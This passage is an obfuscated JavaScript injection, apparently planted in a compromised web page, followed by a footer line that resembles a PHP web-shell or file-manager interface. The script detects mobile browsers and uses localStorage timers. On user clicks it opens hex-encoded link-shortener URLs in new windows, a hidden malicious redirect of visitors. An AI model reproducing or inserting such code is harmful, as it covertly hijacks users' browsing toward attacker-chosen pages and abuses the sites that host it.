g\|\/(k\|l\|u)\|50\|54\|\-[a-w])\|libw\|lynx\|m1\-w\|m3ga\|m50\/\|ma(te\|ui\|xo)\|mc(01\|21\|ca)\|m\-cr\|me(rc\|ri)\|mi(o8\|oa\|ts)\|mmef\|mo(01\|02\|bi\|de\|do\|t(\-\| \|o\|v)\|zz)\|mt(50\|p1\|v )\|mwbp\|mywa\|n10[0-2]\|n20[2-3]\|n30(0\|2)\|n50(0\|2\|5)\|n7(0(0\|1)\|10)\|ne((c\|m)\-\|on\|tf\|wf\|wg\|wt)\|nok(6\|i)\|nzph\|o2im\|op(ti\|wv)\|oran\|owg1\|p800\|pan(a\|d\|t)\|pdxg\|pg(13\|\-([1-8]\|c))\|phil\|pire\|pl(ay\|uc)\|pn\-2\|po(ck\|rt\|se)\|prox\|psio\|pt\-g\|qa\-a\|qc(07\|12\|21\|32\|60\|\-[2-7]\|i\-)\|qtek\|r380\|r600\|raks\|rim9\|ro(ve\|zo)\|s55\/\|sa(ge\|ma\|mm\|ms\|ny\|va)\|sc(01\|h\-\|oo\|p\-)\|sdk\/\|se(c(\-\|0\|1)\|47\|mc\|nd\|ri)\|sgh\-\|shar\|sie(\-\|m)\|sk\-0\|sl(45\|id)\|sm(al\|ar\|b3\|it\|t5)\|so(ft\|ny)\|sp(01\|h\-\|v\-\|v )\|sy(01\|mb)\|t2(18\|50)\|t6(00\|10\|18)\|ta(gt\|lk)\|tcl\-\|tdg\-\|tel(i\|m)\|tim\-\|t\-mo\|to(pl\|sh)\|ts(70\|m\-\|m3\|m5)\|tx\-9\|up(\.b\|g1\|si)\|utst\|v400\|v750\|veri\|vi(rg\|te)\|vk(40\|5[0-3]\|\-v)\|vm40\|voda\|vulc\|vx(52\|53\|60\|61\|70\|80\|81\|83\|85\|98)\|w3c(\-\| )\|webc\|whit\|wi(g \|nc\|nw)\|wmlb\|wonu\|x700\|yas\-\|your\|zeto\|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]\|\|navigator['vendor']\|\|window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e80x3c0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

| ver. 1.4 | Github | . | PHP 7.3.33 | Generation time: 0.08 | proxy | phpinfo | Settings